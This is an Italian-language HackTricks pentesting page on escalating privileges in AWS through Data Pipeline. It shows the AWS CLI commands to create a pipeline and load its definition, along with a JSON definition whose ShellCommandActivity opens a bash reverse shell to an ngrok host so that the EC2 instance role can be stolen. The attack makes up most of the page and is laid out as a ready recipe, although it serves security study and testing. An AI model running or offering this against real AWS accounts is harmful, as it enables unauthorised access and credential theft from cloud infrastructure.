AWS - Datapipeline Privesc

Sostieni HackTricks

datapipeline

Per ulteriori informazioni su datapipeline controlla:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Gli utenti con queste autorizzazioni possono escalare i privilegi creando un Data Pipeline per eseguire comandi arbitrari utilizzando i permessi del ruolo assegnato:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Dopo la creazione del pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o creazioni di risorse:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Si noti che il ruolo nelle linee 14, 15 e 27 deve essere un ruolo assumibile da datapipeline.amazonaws.com e il ruolo nella linea 28 deve essere un ruolo assumibile da ec2.amazonaws.com con un'istanza del profilo EC2.

Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi è possibile rubare solo quello).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Il file di definizione del pipeline, creato dall'attaccante, include direttive per eseguire comandi o creare risorse tramite l'API di AWS, sfruttando i permessi del ruolo di Data Pipeline per potenzialmente ottenere privilegi aggiuntivi.

Impatto Potenziale: Escalation diretta ai privilegi del ruolo di servizio ec2 specificato.

Riferimenti

Sostieni HackTricks

Last updated